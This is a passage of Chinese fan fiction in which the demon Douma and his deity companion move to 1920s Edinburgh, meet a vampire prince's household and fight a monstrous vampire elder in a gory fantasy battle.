我回头看了眼坐在壁炉边的扶手椅上跟别人聊的正欢的某只鬼,回头微笑着说: “我知道了,谢谢。” 如果所说的“鬼”是一位看起来头被砍掉一半的老修士的话,那我无疑应该感谢他,跟他聊了这一个月,童磨的英文突飞猛进,读起《旧约》来都不打磕绊,只是莫名其妙地经常夹杂着拉丁语单词。 强大的记忆力和模仿能力,让某位神之子在语言方面惊人的有天赋。 爱丁堡一年有八个月在下雨或下雪,冬天时下午两点天就开始黑下来了,这边的人类活的没精打采,却是非人之物的天堂,入夜后满大街都是来自不同年代的幽灵和叫不出名字的精灵鬼怪,简直是一座非人生物博物馆,且大家各有各的地盘,自得其乐适者生存。我当时觉得,就算没有青色彼岸花,无惨大人他们来这边生活也比在日本那个弹丸之地被猎鬼人追杀要幸福的多。 只不过… “所以他们就这么砍了您的头?真是太可怜了。”童磨边擦眼泪边说,“阁下想去极乐世界吗?我可以帮您。” 缺了半边脑袋的幽灵先生看上去有点迷惑,大概是不太能理解“极乐世界”是个什么意思。我连忙插嘴: “别听他胡扯,您不会想去的。先生,天色已晚,您该回去了。” 老修士可怜巴巴地看了我一眼,低头从窗子飘了出去,回他那长满青苔的墓地去了。他不知道我救了他一命,上次被童磨问了同一个问题的那位夫人,灵体被吃的连根头发丝都没剩。 我插腰看向某只丝毫不知道自己给当地居民造成了严重危害的鬼:“童磨大人,泡澡水要凉了。” “来啦来啦!”鬼欢快地应道,“小染跟人家一起洗嘛~” 当初看上这房子,是因为里面有个很大的希腊式双人浴缸,大理石的,虽然不如极乐寺的温泉浴池,但多少也能满足下某只奢侈惯了的鬼。 但一起洗澡什么的…这鬼到底为什么能如此坦然的说出让人难为情的话啊! “…不了,保罗说晚上有个舞会,出席的都是名流,我要去看看。” “诶?那我也要一起去!” “真拿你没办法…去就赶紧洗完换衣服啊!” 就是在那场舞会上,我遇到了凯瑟琳·南丁格尔小姐。 彼时我刚帮保罗鉴定了他带来的几只江户时代的漆盒,让我想不到的是,这些不起眼的东西在英国居然能卖出高价,日本工艺品的精致很受这边的上流社会欢迎,早知如此… 我想起了极乐寺那一屋子搬不走的古董,心里默默叹了口气。 来到一个之前做梦都没想过的国家,一切都是未知,虽然我在哪里都能活得下去,但某位从小养尊处优的教主大人,也不知道会不会受到什么打击。 不过看在他连下地狱都玩的很开心的份儿上,似乎我也有点多虑了。 童磨适应这边的方式有点特别,但后来想想,他一直是以这种方式适应对他来说熟悉又陌生的人类世界的。 他无时无刻不在观察。 刚到英国时我们住在伦敦,伦敦多雨,但也有天气晴好的时候,只要不刮风,我和童磨就沿着泰晤士河找家咖啡馆,我喝红茶喂鸽子,他看人。 对,就是看人。和平时表现出的聒噪不同,这家伙能安安静静坐在那里看一下午的人。 那时正是一战结束后的平静时光,伦敦满大街都是汽车,以及穿着时髦的男男女女,但也时不时跑过去一辆马车。车声、人声、狗叫声、泰晤士河上轮船汽笛的声音,交织成一首奇异的城市协奏曲。 这里和东京一点也不一样,日本人总是安静的、克制的,他们以吃苦和忍耐为美德,从不会这样在公共场所大声说话和大笑。 有次我问他到底在看什么,童磨若有所思地说: “人类是很有趣的哦,小染。” “比如那位小姐,”他指了指马路对面的一位正在和人拥吻告别的女性,“看起来很爱她的丈夫对吧,但过一个小时,她就会在同一个地方迎来另一个男人,看见那个人的时候,她明显要更开心一些,但又会有点害怕,因为她会一直不安地观察四周的人有没有注意到他们…” “那不就是在偷情嘛!”我撇嘴。 “对呀!但是这两个男人,对那位小姐来说,到底有什么不一样呢?丈夫和情人,‘爱’和‘欲望’,又有什么不一样呢?” 这问题我也不懂,于是只好说:“人类都是这样的,你说源氏是更爱藤壶中宫还是更爱紫姬呢?爱欲这种事,有时候连自己都说不清。” “那些猎鬼人常说鬼是空虚的生物,说我们不知道自己为什么活在世上。”童磨托着腮,望着街边来来往往的路人,“但你看看这些人,他们知道自己为了什么而活吗?” “无非是为家人、金钱、地位这些吧。”我说,“人类不考虑那么多的,对他们来说,眼前触手可及的快乐更重要。来,吃块司康。” “可是家人会老死,朋友会离开,孩子会长大,连爱人也会变心啊。”嘴里塞着点心,也依然堵不住童磨的滔滔不绝,“一切金钱和地位最终都会化为虚无,人类永远是孤零零地死去,不是嘛?” “先别忙着下结论嘛,”我边往伯爵红茶里倒牛奶边说,“很多事是要经历过才知道,童磨大人又没有家人和朋友,所以才没法理解人类的感受吧。” “怎么会呢?”鬼不服气地反驳道,“信徒们整天跟我说的都是这些事,我看他们没有半点幸福可言呀。” “这样的话…”我想了想,说,“那不如从今天开始,你试试去观察人类那些幸福的时刻吧。” “幸福的时刻?” “对,就是那些人类露出笑颜的时刻,也许看的多了,你就能理解他们是因为什么而感到幸福了。” “诶…那小染什么时候会感到幸福呢?” “我的话,那就太简单了。”我举起手里抹了果酱的司康,“吃烤的热乎乎的司康就很幸福。” “看来小染很容易得到幸福呢,啊,连我都变得开心起来了~”鬼笑眯眯地说,“那人家就试试你说的方法好啦。” 这次对话的副作用是,只要我出门见人,这鬼就闹着一起去。好在他脑子好使,表现出来的又是一副积极且善解人意的样子,反倒挺会跟人打交道,我也在短暂的提心吊胆后渐渐顺其自然了。 那次舞会上来了不少衣饰华贵的人,我听着他们以各种我不熟悉的称呼互相问候,陪洋人老板跟人寒暄完,刚回到酒桌旁,就看大厅里走进来一位亮闪闪的小姐。 说她亮闪闪,是因为这位小姐穿了一身缀满碎钻和蓝色亮片的华丽长裙,圆边小礼帽上竟然有只栩栩如生的翠鸟标本,还插着两根翠蓝色的雉鸡羽毛,衬着一头火红色的大波浪卷发,格外亮眼。从她进入舞会现场的那一刻起,在场不少人的目光就自然被她吸引过去。 “是‘夜莺’啊。” 我听旁边的夫人轻蔑地说:“看她那副样子,只要是有贵族出席的场合,总少不了她。” 没想到那位‘夜莺’小姐环顾了会场一圈,谁也没理,径直朝着童磨去了。 我离得远,周围人又太多,只看见他俩很熟络地聊了起来。童磨很会逗女人开心,果然那位亮闪闪的小姐没多久就被逗的前仰后合,甚至很亲热地伸手揽住了童磨的胳膊,丰润雪白的小臂上,一条金色的臂镯格外耀眼,是两条蛇盘绕着凯尔特十字架的形状。 西洋女性是非常热情奔放的,我对此早已习以为常。 只不过这女人看起来总感觉哪里有点奇怪。我观察了一会,意识到她没有我常常见到的那种“光”。 只要是活着的生物,都有“光”,区别只是颜色和明亮程度,生病或快要死去的人,“光”就会变的很暗淡,这是我从小就知道的事,也是因为“看得见”,身为人类时的我被父母所忌讳。 若说什么生物没有“光”…那就是鬼了。 童磨还是个小孩子的时候,我看到过他的“光”,那是如同天顶的白虹般令人震撼的颜色,但他变成鬼以后,我就再也看不见那美丽又奇异的光了。 很显然,这位亮闪闪的小姐,不是人类。 童磨相当优雅地揽着她纤细的腰肢,和她跳了一支舞之后,就带她朝我们的酒桌走来了。 “小染,介绍个新朋友,这位是夜莺小姐,她说她是个…嗯,那个词是什么来着?” 鬼语气温柔地问道。 “生物学家。甜心,我是个生物学家。” 女人唇上涂着鲜艳欲滴的口红,面容却出乎意料地年轻,是看起来二十四五岁的白人女性,有着一双猫一样的蓝绿色眼睛,身材高挑健美。她扭头看到我,夸张地叫了起来: “圣莉莉丝啊,看我发现了什么?一颗来自东方的宝石!” 她没有握手,而是扑上来给了我一个拥抱,浓烈的香水味呛的我差点打喷嚏。 “小宝石,你叫什么?”她用戴了蕾丝手套的手轻轻摸了把我的脸,“你可真漂亮!” 我被摸的全身不自在,而且不知为什么有种碰见了童磨在英国的远房亲戚的感觉。 “荒川。”我不动声色地扒拉开这姑娘的手,“很高兴认识您,生物学家小姐。” 女人咯咯地笑了起来:“我是凯瑟琳·南丁格尔,亲爱的,你的名字真特别,你从日本来?” 南丁格尔——夜莺,实话说,这位小姐一点也不像那种能在黑夜里唱出婉转曲调的不起眼的小鸟。 “对,夜莺小姐知道日本?” “仅限寿司和樱花,现在还包括你了。小宝石,不要那么严肃嘛,你看起来就像把出鞘的武士刀一样吓人。你在紧张吗?”她眨了下眼睛,“这里的人无聊透了,去我家玩怎么样?” “初次见面,那样未免太过唐突,改日一定登门拜访。”我只想尽快摆脱她身上的香水味,于是下意识地想以日式礼貌拒绝她,没想到这姑娘完全不吃我这一套。 “Douma,你的小宝石太紧张了,告诉她没必要这么紧张,这是我们欢迎新人的方式而已。”她凑了过来,冰凉的气息喷吐在我脸上,意外的带着某种香草的味道,“礼貌是淑女的铠甲,但你不是淑女,我说的对吗?” 这女人真可怕。 “什么欢迎新人?”我冷下脸,“我们没兴趣加入任何组织。” “这不是兴趣的事,亲爱的,”她笑了笑,“想在别人的地盘狩猎,怎么能不征求主人的同意呢?这是规矩,没有规矩,不成方圆。” “抱歉哦,小夜莺。”童磨在一旁端着杯酒,笑嘻嘻地说,但丝毫听不出半点抱歉的意思,“那天的‘点心’可真是美味,让人家意犹未尽呐~我猜你家里还有更多美味佳肴吧?” “你得来了才能知道。”女人的笑容风光无限,“明天晚上,辛克莱尔庄园。不用穿的这么正式,只是个家庭聚会而已。” “诶呀,人家简直迫不及待了呢~” “那就这么定了。”女人临走时还不忘掐了下我的腰,又朝童磨丢了个飞吻,“顺便说一句,Douma,我喜欢你的漂亮眼睛,我想收藏它们。” “没问题哦,只要小夜莺你拿得走。”童磨摆出一副笑眯眯的无赖样,朝她举了举酒杯。 “说吧,你又惹什么事了?” 我靠在酒桌上,看着女人一阵风似的出了门,只觉得自己被香水味呛的头痛。 “啊,不小心吃掉了她的宠物而已~”鬼天真无邪地歪了歪头,“洋人真小气呀。” “……干的漂亮。”我忍不住扶额,“明天小心点,别轻敌。” “知道啦~” 辛克莱尔庄园位于爱丁堡城外,不,与其说是城外,不如说那四周更接近荒野。来接我们的马车沿着密林中的一条小路疾驰,我看着四周飞速掠过的漆黑古树和森林上方高悬的满月,隐约感觉自己进入了一个完全陌生的世界。 这里有着广袤的、无人涉足的荒野,可能走上一天也见不到人烟,只有不知是何年代的城堡废墟矗立在天地之间,如同风化多年的生物残骸。 我没来由的有些紧张。 从见过那位夜莺小姐之后,这种紧张的感觉就一直挥之不去。无关于对方是我完全没有接触过的非人存在这一点,而更像是…预感到世界将在我面前展开我从未见过、乃至从未想象过的另一面。 和这个世界比起来,日本岛太过渺小了,江户、幕府、神社…占据我全部记忆的地方小的好像一只金鱼缸。即便身为荒川的神明,此时此刻,我也依然缺乏面对未知的底气。 这里会是另一个地狱吗?但这一次,我身上穿的是精致的洋装,腰间也没有太刀,能依靠的只有自己的头脑,以及… 忍不住偷眼看了下那只鬼,他依然是一副无忧无虑的样子,满眼好奇地看着车外的森林。 “哇~小染,我刚刚看到鹿了哦~” “不止有鹿,应该还有狼群。”我淡淡地说,“这边的动物种类比日本多得多。” “小染在害怕吗?”童磨转过头看着我,虹色的眼睛在黑暗中发着幽光。 “谁、谁说的?” “我感觉到了哦,毕竟小染是我的眷属嘛,那应该是害怕的感觉吧。”鬼眯起眼睛,饶有兴致地说,“是从来没有体会过的感觉呢,好有趣呀。” ……这家伙,居然在通过读取我的情绪变化来感受“情感”吗?“是的,我在害怕。”我只得承认,“不是对于敌人的恐惧,而是…” 而是对于这个世界而言,我们的位置在哪里?这个浩瀚的、不止属于人类的世界。 “嗯…但是不用担心哦,迄今为止,你都做的很好。我说过吧,女孩子的话,不用太逞强了,可以接受别人的保护哦。” 鬼歪头看着我,声音极为温柔,那双五光十色的桃花眼实在太好看,看得我心跳加速,于是移开了目光。 “童磨,我不是普通的女孩子,你是知道的。” 我望着车窗外轻声说,“我是荒川的神明,是黑死牟大人的学生,也是你的眷属,在我的心里,没有‘后退’这个词。” “我知道呀,但既然是眷属,保护你就是人家的义务哦~啊呀,小染不会是…不需要人家了吧?” 鬼立刻嘤嘤呜呜地哭了起来:“好难过呀,小染不需要我,是讨厌我了嘛?明明说好了要跟人家恋爱的,连那种事都做了,难道是不想对人家负责…” “你闭嘴啊!”我面红耳赤地低吼道:“这都什么跟什么啊!算我输了好不好!” 说归说,刚刚的紧张一扫而空,这只鬼永远有办法通过稀奇古怪的方式让我冷静下来。 一座哥特式城堡巨大的轮廓在黑暗中渐渐显现出来。马车驶过城堡前立着天使雕像的喷水池,我一眼就看到凯瑟琳风姿绰约地站在门口的台阶上,她穿了一袭缀满银色流苏的血红长裙,侧面的开衩极高,露出雪白修长的大腿,在20年代的英国,这打扮也算相当大胆了。 “欢迎,欢迎。”女人娇笑道,“父亲听说了你们的到来,特意让我好好安排了今天的晚宴,你们一定会喜欢的。” “真是看不出啊,夜莺小姐竟然住在如此奢华的地方吗?” 我打量着走廊两侧的罗马风格雕像,“敢问您的父亲大人是哪家的贵族?我虽然对贵国历史了解不多,但是…这些都是真品吧?” 那些石雕上的气息至少有千年的时间了,每一座都不同,他们或作沉思状,或手握佩剑,或对什么人发表演说。墙上挂的油画里,人们的衣着也来自不同的时代,这个家族的城堡简直是一座小型博物馆。 “这是辛克莱尔家族的城堡,他们是我父亲的后裔,家族历史可以追溯到罗马共和国时期了。”她随意地指了指一张油画上的男人,“这位是威廉·辛克莱尔爵士,他是圣殿骑士团的人,主持修建了罗斯林礼拜堂,你知道那里吧?” “当然,在来英国之前,我在东京开的咖啡馆就叫这名字。”我微笑道,“不过您说的那个什么骑士团,请恕我不曾听闻…” “小夜莺,你说的那个组织早在七百多年前就不存在了,最后的成员被处以了火刑,嗯…我记得罪名是异端罪吧?” 我惊讶地看着突然开口的童磨,见他依然是一脸从容淡定的微笑。 这家伙整天闲的要死,到底什么时候看的书? 走在前面的女人脚步也微微停顿了下,她意味深长地侧目:“Douma,你真是永远能给我惊喜。” “这话说的,人家可是相当认真地了解过这边的事呢。”童磨歪了歪头,“毕竟情报就是金钱嘛,我习惯把遇到过的有趣对手都记下来哦~” “圣莉莉丝啊!”凯瑟琳发出了夸张的笑声,“那你猜猜看,我和你以前遇到过的对手有什么不一样?” “嗯…要说有什么不一样的话…小夜莺的肉质很特别哦,看起来相当美味,让我忍不住想要马上品尝一下呢~” 鬼的语气轻快而柔和,眼神却静如死水,就这样说出了极为恐怖的话。 “奉劝你不要有那种想法。”凯瑟琳收起了浮夸的笑容,那双蓝绿色的眼睛里泛起一道锐利的寒光,“在别人的地盘,要懂点礼貌才行,况且我比你年长的多。” “诶?干嘛那么凶呀?人家只是在开玩笑而已~” 童磨的表情下一秒就变得无比天真纯良,就好像刚刚发出冰冷杀气的那个人不是他一样。 非人生物之间的较量,总在不知不觉中进行,就像在森林里狭路相逢的野兽,多数情况下在见血之前就已经分出了胜负。 我不动声色地看着面前的女人,默默给童磨发了条脑内通讯。 ——能赢吗? 童磨回我: ——吃掉她不难,但这女人的□□很特别,不太容易看透哦。 ——什么叫…□□很特别? ——怎么说呢,感觉上更接近植物那类的东西。 ——植物? ——对哦,所以说才特别嘛。另外从气息上看,这附近有不下五十个她的同类呢。 鬼在我脑子里笑的欢畅。 ——真是太有趣啦!好久没遇到这么有趣的人了! 夜莺小姐将我们领进了一间极宽敞的宴会大厅,几乎一瞬间,我就被大厅尽头雕花高背椅上的那个人吸引了。 那是我第一次见到罗曼·梵卓,苏格兰血族的“亲王”。 后来我才知道,在整个英国和爱尔兰地区,总共有三位被尊称为“亲王”的血族首领,他们都使用“梵卓”这个姓氏,但这不代表他们出自同一家族,而更接近某种贵族的象征,就像日本人把天潢贵胄称为“华族”那样。“梵卓”位列血族十三氏族之首,他们通常在人类时就出身贵族,成为血族后也同样处在统治阶层。 罗曼亲王怎么看都不太像是暗夜中的杀手。他是一位看上去大约五六十岁的瘦削老人,有着深陷的眼窝和一个线条锋利的鹰钩鼻子,花白的头发梳成整齐的背头,如果说有什么不同,那就是他的眼睛,那双灰色的眼睛极为深邃冷峻,带着穿透一切的目光,让我几乎以为自己面对的是一位将军。 这位亲王大人穿着苏格兰人喜欢的格呢马甲,甚至一丝不苟地打了领结,全身散发出浓厚的贵族气息。 “父亲,我把那两个年轻人带来了。” 凯瑟琳扭着水蛇腰走了过去,倚靠在亲王身边,从旁边的高脚桌上端起一杯显然是鲜血的饮料,朝我们举了举,抿了一口。 亲王略略颔首,目光却一直停留在童磨身上。 童磨带着一脸无所畏惧的笑容,右手放在胸前,朝他优雅地欠了欠身。 “幸会,大人。” 这鬼还真是油滑,竟然这么快就学会了西洋人的礼节吗?我于是拎起裙摆,也跟着行了个屈膝礼。 “见到您十分荣幸,亲王殿下。” 我看不透这些生物的过去。读取意念和前世今生的能力似乎只适用于人类,对于非人生物,他们给我的感觉只有一片空白。 “幸会。孩子,过来,坐到我身边来。凯特,给这姑娘拿点喝的。” 亲王的声音低沉而沙哑,像是用了很多年的手风琴。 夜莺小姐会心一笑,没一会儿工夫,她就端来一只镶着金丝的白瓷茶杯,杯子里冒着热气的竟然是…花草茶。 我默默感觉了下,确认茶里没有异常,才小心地喝了一口。 …酸死我了,里面大概放了覆盆子。 “你不是我们的同类,美丽的孩子,你为什么在这里?” 我被问的一愣。我为什么在这里? “日本太小了,我想看看更大的世界。”我如实答道。 “不,不是这个。你应该明白我在问什么。”老人用那双灰眼睛注视着我,“你不属于暗夜,却与暗夜为伴,是谁给你这么大的胆量?” 这奇特的感觉好像有点熟悉。 “您是神明吗?”我问。 老人的脸上荡开了笑意。“我的诸神早在很久以前就离去了,我只是个活了很久的人而已。” “那您为什么会使用意念压制?” 我凝视着他的双眼:“我第一次见到不是神明,却能使用意念压制的存在。如果我是人类的话,现在恐怕已经完全被您的能力控制了吧?” 亲王盯着我看了片刻,神色不变地说:“凯特,你给我们带回了两位很特别的客人。” “我就跟您说嘛,荒川小姐是个很严肃的人,像他们国家的那种刀一样,一点也不可爱。”凯瑟琳在一旁晃着酒杯,朝童磨抛了个媚眼,“甜心,来一杯吗?” ——你小心,我读取不了他们的意念。我马上给童磨发了脑内通讯。 ——应该是同类哦,气息跟鬼很相似。而且小染没注意到吗?这房子里所有窗子都被封死了。 ——原来如此…目前不知道对方有什么能力,还是不要轻举妄动比较好。 “抱歉,亲王殿下。”我垂下眼睛,做出驯顺的姿态,“没有冒犯您的意思,在我的国家,只有神明才拥有您这样的能力,我很受震撼。” 虽然这能力对我没用,但情况不明,说点好听话还是应该的。 “我也对你们感到惊讶,孩子。按照血族的礼仪,你们本该在搬来这里的第二个新月日来见我,说明自己的血系和来历,才能获得狩猎的许可。” …那种事我们怎么可能会知道啊! “那还真是失礼了。”只听童磨笑嘻嘻地说,“不知您打算怎么惩罚我们呢?啊,不如我挖只眼睛赔给您?” 这家伙又来了… “我同意这个补偿。”凯瑟琳马上放下酒杯,起身要走,“等一下,我去拿我的标本瓶来。” …真的假的?夜莺小姐你是认真的?你要这家伙的眼珠子有什么用啊?? “以眼还眼吗?小公主,饲养人类本身就违背了五大律法中的避世法则,你总这么任性,让我们这些监察者很难办啊。” 角落里忽然响起个阴测测的声音,我才注意到那里坐着个披着黑袍的苍白男人,一双深不见底的黑眼睛正挑衅地盯着凯瑟琳。 气息隐藏的真好,但他一开口说话,浓重的血腥味就冒了出来。 “我们可费了不少工夫为你善后呢,包括把不幸目睹了这小子狩猎的那户人家清理干净,还要伪造成煤气爆炸现场…”男人以一种油滑的声音说,“公主如果不能阻止你养的那些小家伙出来乱跑,就把他们都交给我处理吧,免得…” 银光一闪,一把不知哪来的银餐刀插在了距离男人的头两厘米的墙上。 “啊,抱歉,手滑了。”夜莺小姐坐回椅子上,很不优雅地翘起二郎腿,“布鲁赫长老,你该知道我不喜欢‘公主’这个称呼,还有我养的是供血者,这样才能尽量避免外出狩猎被人发现,我自认为没有违背避世法则。” 男人的声音里带了威胁的意味:“我可以接受小公主的任性,毕竟你给我们制造的麻烦也不是一次两次了。”他瞥了眼童磨,“但这个新来的…这么年轻,看样子是刚脱离自己的赐血者,还需要好好管教一下才对。” “阁下这话说的,我也做鬼很多年了呀~”童磨笑眯眯地说,“不过在我们那里,像您这种没礼貌也没脑子的下属,是会被无惨大人捏爆头的哦?” …为什么这鬼换成英语还能把话说的如此欠揍? “你在挑战比你年长的血族吗,小子?” 果然那位布鲁赫长老的脸色更惨白了,他的指甲刮擦着椅子扶手,发出令人牙酸的刺耳响声。 “你懂不懂这意味着什么?我现在就可以处死你。” “抱歉抱歉,我没有恶意哦。” 童磨无辜地说,“不小心吃掉了小夜莺养的人类,真是不好意思,但我吃的很干净,一点也没有浪费哦,所以阁下不要生这么大的气嘛,至于我该受到什么惩罚,这种事还是要交给亲王大人来裁决比较好吧?” “血族不是野兽,我们只吸血,不吃人类的肉。” 亲王苍白的双手交叉在一起,戒指上的红宝石流转着暗光,声音里听不出情绪,“孩子,你到底是什么?” “刚才不是说了嘛,我是鬼呀~”童磨欢快地答道。 亲王微微皱了皱眉,大概是没听过“鬼”这个日语词汇的发音,我于是解释道:“殿下,英文里没有对应的词,但我觉得你们应该还是算同类。这个差别就像是…”我想了想,不确定地说,“西洋人和东洋人的差别?” “我们这边不需要什么东洋人,特别是这种不遵守避世原则的蠢货。”布鲁赫长老不耐烦地说,“罗曼,这小子会给我们惹来很多麻烦,不能留他。” “布鲁赫,你都当了好几百年阴沟里的老鼠,还是这么小心翼翼啊?”夜莺小姐忽然咧开鲜红的嘴唇笑了笑,“看来宗教审判所把你吓破胆了的传言是真的?” “闭嘴吧小丫头,这里没你说话的份儿。”男人恶狠狠地说,“我和你父亲全都经历过那六百年的大屠杀,我们比你更清楚教廷血猎的恐怖。” “时代不同了,梵蒂冈现在自顾不暇,才管不到我们头上呢。你想当老鼠就继续当老鼠,不要把手伸那么长。去年一年你未经允许处死的同族比血猎还多,再这么下去我们就又要回到吃老鼠的那个时候了,我可早就吃腻了那玩意儿。” 这一通冷嘲热讽显然激怒了那位叫布鲁赫的男人,他的身形一动,下一秒我就看见夜莺小姐被他捏着脖子按在了墙上。 好快。 “你知道我最讨厌的,就是不知天高地厚的年轻人。” 男人像条蛇似的咝咝吐着气。“我早就受够你了,你这下流的小婊子,脏心烂肺的黑女巫…”他状如鹰爪的大手越收越紧,“罗曼当初救你我就不同意,你这该死的…” 话停在了半截,他愕然的低下了头,看着自己被切的整整齐齐的手腕,过了几秒,黑红的血才像喷泉似的喷了出来。 一道金扇半开半合,童磨伸出手指蘸了下上面正缓缓流下的粘稠血液,放进嘴里舔了舔,露出一脸迷惑的表情。 “什么呀,和鬼血的味道没什么区别嘛。”他用抱怨的语气说,随即又好奇的歪了歪头,“诶,阁下不能再生吗?” 夜莺小姐用力拔下还掐在自己脖子上的那只手,笑嘻嘻的说:“谢啦!” “不用客气哦小夜莺,人家最看不惯对女孩子不温柔的人了。”童磨慢条斯理地说,“没想到西洋也有这位阁下这样缺乏教养的人呐,真是太可惜了。” “你竟敢?!” 那位布鲁赫长老与其说是暴怒,不如说是难以置信。情绪失控之下,可怕的变化发生了:他的脸逐渐扭曲,獠牙龇出嘴角,身形也跟着开始膨胀,没一会儿居然顶到了天花板,身后长出一对皱皱巴巴的、蝙蝠似的翼膜。 这是什么东西?丑死了! 我瞥了眼身边那位亲王大人,见他竟还是稳如泰山,一动不动地注视着眼前突变的形势。 果然活得久的存在都不简单,恐怕是早就想好了拿我们当枪使。 只是… 看到童磨从容不迫的样子,我的心也安定下来。 赌一把吧。 旁边墙上挂着两把交叉的剑,英国贵族喜欢在家里墙上装饰这种古董,只不过西洋剑尖细,重量很轻,更适合突刺而不是斩击。 不过有总比没有强,我一向是手里有刀,心中不慌。 想到这里我闪身过去,刚想伸手,手腕却被死死抓住了。 夜莺小姐柔若无骨地倚在墙上,抓着我的手却没松开。 “小宝石,身手不赖嘛。”她轻声说,“不许打乱我的计划哦。” “你想杀那个家伙,干吗不自己动手?”我冷冷地看着面前美艳的红发女人,手臂暗暗发力… 居然没挣脱,这女人力气大的离谱。 “梵卓定下的五大戒律之一,除了监察者,任何人不可杀戮同类,否则全欧洲的血族人人得而诛之。” “梵卓?那是什么?” “跟你说了你也不懂。”她摇头,“给我老实呆着。” “你们这里莫名其妙的规矩可真多。”我感叹道,“童磨在五分钟之内会杀了那个人,接下来怎么办你想好了吗?如果我没猜错的话,那位什么长老一旦死了,外面的人就会马上冲进来吧,从气息上看,差不多有二十人?你打算把责任全推到我们头上?” 夜莺小姐蓝绿色的眼睛里闪着意味不明的光,“很不错嘛,原本还以为你只是那怪物养的漂亮小宠物,现在我开始喜欢你了。”她凑过来,在我耳边深深地吸了口气,“唔,你的血味道好香…你不是人类吧?跟我回家怎么样?我很会养小动物的。” “你说谁是怪物?” “他呀。”夜莺小姐指了指童磨的方向,“不过你就那么相信他吗?布鲁赫已经活了七八百年了,他是罗曼在中世纪转化的那批后裔里唯一活下来的。你俩的话…看样子也就是一两百岁?在我们这里,你们这个年纪还是没独立的宝宝哟。” “抱歉,”我笑了笑,“我们和你们不一样。” 布鲁赫长老已经完全失去了人形,它四肢着地,看上去更像一只巨型蝙蝠。那东西张开嘴,发出了令人极为不适的尖声咆哮。 顿时像是某种奇怪的音波刺进了脑袋。我不得不捂住一只耳朵。 “我就说他老鼠吃多了吧,血族出现这种退化现象很罕见的。”夜莺小姐也捂着一只耳朵,提高了声音大声对我说,但我看见一行细细的鼻血从她的左侧鼻孔里流了下来。 这声音有问题吗? 我连忙转头看向童磨,却见他从那血族长老遮了半个屋子的阴影里探出头,高高兴兴地朝亲王招了招手。 “大人,能容我问一件事吗?” 罗曼亲王显然也没料到这出,迟疑了一下才开口:“什么事?” 童磨的七彩大眼睛忽闪忽闪,就差冒小星星了:“这个算正式的换位血战吗?如果我赢了,能取代这位阁下的位置吗?” 啥?这家伙的脑子到底在想什么啊? 亲王大人大概也是第一次听说“换位血战”这个词,估计是因为童磨的英文发音还是不怎么地道,不知道他听成了什么,居然点了点头。 “可以,我允许你发起挑战。”他说。 “好哦~”鬼欢快地说,“血鬼术·玄冬冰柱。” 由于两句话之间几乎没有间歇,童磨说话的语气又一向轻佻散漫不正经,导致连我都没反应过来他发动了血鬼术。 只听到有什么东西接连爆裂的声响,好像春天湖面上的冰层破裂似的。 炸开的,是血族长老变成的那头魔物的身体。确切来说,是从它身体的各个位置冒出了大大小小的冰柱和冰刺,只不过那些冰是血液凝成,有多少血,就有多少冰。 它自己的血穿透坚硬的皮肤,撕开永生的血肉,摧毁了自己的躯体。 血液里的主要成分是水,而我差点忘记童磨吞噬过我的灵体。 那位已经不成形状的“布鲁赫长老”似乎完全没反应过来发生了什么,它张开利齿遍布的血盆大口,刚刚发出半声凄厉的悲鸣,嘴里就也涌出了大量的暗红色冰棱。 似乎那具□□终于到了极限,悲鸣之后它轰然爆裂,炸成了一地夹着冰渣的碎肉。 这种程度的魔物,放在地狱里也不算什么难应付的角色。果然不出我所料,童磨用了不到五分钟。 “看来血鬼术改造的效果还不错哦~” 童磨舔了舔溅到脸上和手上的血,看着那一地狼藉,用扇子点着下巴颇有些为难地说:“怎么办,这个感觉一点也吃不下去呢…算了算了,要不就勉强…” “别吃那种东西啊!脏死了!”我忍不住冲他狂喊。 “说的也是,那就先不吃啦~” 好在他终于听话了一次。 “Douma,那是巫术吗?”凯瑟琳小姐兴奋地嚷嚷,“简直棒极了!” “是血鬼术哦~”童磨笑眯眯地说,随即又换上了略带惊讶的表情,“诶?难道说…小夜莺你们都不会吗?” “不会呀!你是怎么做到的?等结束后教教我吧!” “结束?”童磨挑了挑眉,“你还给我准备了什么惊喜呀?” 话音刚落,宴会厅的两扇橡木大门轰然打开,冲进来几十个血族,他们一眼就看到了地上那一摊碎肉和站在旁边的童磨。 “殿下!布鲁赫长老!这里发生什么事了?!” 凯瑟琳若无其事地抱着手臂退后一步,声音压低到只有我能听清的程度,却隐隐含着难以抑制的兴奋: “我果然没看错,他是我见过最漂亮的怪物了,一个聪明的疯子,比什么都适合做我父亲的帮手。我决定了,你们两个我全都想要…” “已经是第二次了,夜莺小姐。” “什么?”她转头看着我,一脸莫名其妙。 “童磨他不是怪物,也不是疯子,他是‘神之子’。” 我淡淡地说,“你这么说我的赐血者,我很生气。” 血花四溅,三道锯齿遍布的、高速转动的蛇牙刃在我的意念下瞬间切断了我面前女人的四肢。 趁她光秃秃的身体摔倒在地上,我一把将墙上的西洋剑抢了过来,左手指向那两道大门,喝道:“沧龙·走蛟!” 青蓝色的洪流从虚空中奔涌而出,在水流的大力撞击下,打开的大门咣的关上了,正好把进来的人全部关在了这间宴会厅里。 看来对于我们这种人来说,无论哪里的太平日子,都需要付出一点代价。 “童磨,杀光他们,一个都别留!” “好呀!”鬼欢快地回应我,两把金扇带起一阵冰风,室内的地板和墙面开始迅速爬上一层霜花。冲过来的前两个人像布鲁赫长老一样爆成了碎肉,但他们人数毕竟太多了,而且我们谁也不知道这位亲王大人到底打算干什么。 我正准备上前,忽然感到脚腕被什么东西狠狠一扯,回头就看到了极为怪异的一幕。 夜莺小姐断掉的手脚和她的身体上长出了无数枯枝似的东西,那些东西彼此相连,竟然将她七零八落的身体支撑了起来。女人像个破破烂烂的稻草人似的站在我面前,红色长发耷拉在一边,面无表情地看着我。 “小宝石,现在轮到我生气了。”她说。 糟糕,我忘了童磨说过,这女人的□□很特殊,好像更接近植物。 所以“更接近植物”是字面意思吗!? 心里还没吐槽完,我就被那缠住脚腕的“树枝”掀翻在地上。夜莺小姐像一只巨大的蜘蛛般爬了过来,整个人笼罩在我头顶。 这西洋的土地上都是些什么稀奇古怪的生物啊! 我索性挥剑去砍她的脖子,那尖细的西洋剑却很不争气地卡在了她被树枝和藤蔓覆盖的脖子上,几条树枝很快缠住了我的手。 原来文雅如我,也有内心很想骂脏话的时候,可惜脑子里的骂人词汇有限,很难表达我此刻的心情。 “你听过‘绿人’吗?” 凯瑟琳的脸从一堆叶子里冒了出来,她现在看起来像是一棵会动的树。 我皱了皱眉:“你是说罗斯林教堂里那些石头上刻的人脸?” 在苏格兰本地的传说里,那似乎是掌管植物复活的神灵或者妖精。 